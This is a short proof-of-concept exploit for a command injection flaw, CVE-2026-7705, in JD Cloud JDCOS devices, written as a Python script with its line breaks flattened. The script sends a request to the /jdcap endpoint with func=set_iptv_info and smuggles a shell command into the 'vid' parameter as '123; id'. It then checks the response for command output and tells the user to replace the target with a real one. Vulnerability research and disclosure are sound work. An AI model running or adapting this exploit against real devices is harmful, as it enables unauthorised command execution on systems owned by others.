CVE-2026-7705 JD Cloud JDCOS命令注入漏洞

import requests def exploit_command_injection(target_url): """ PoC for CVE-2026-7705 Command Injection in JD Cloud JDCOS. The vulnerability exists in the 'vid' parameter of the 'set_iptv_info' function. """ # The vulnerable endpoint url = f"{target_url}/jdcap" # Malicious payload to execute 'id' command via command injection # Using ';' to separate commands in Linux shell payload = "123; id" # Parameters required by the vulnerable function params = { "func": "set_iptv_info", "vid": payload } try: print(f"[*] Sending payload to {url}...") response = requests.get(url, params=params, timeout=10) # Check if the command output is in the response if "uid=" in response.text or "gid=" in response.text: print("[+] Command injection successful!") print("[+] Response:") print(response.text) else: print("[-] Exploit failed or output not visible.") print(response.text) except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target exploit_command_injection(target)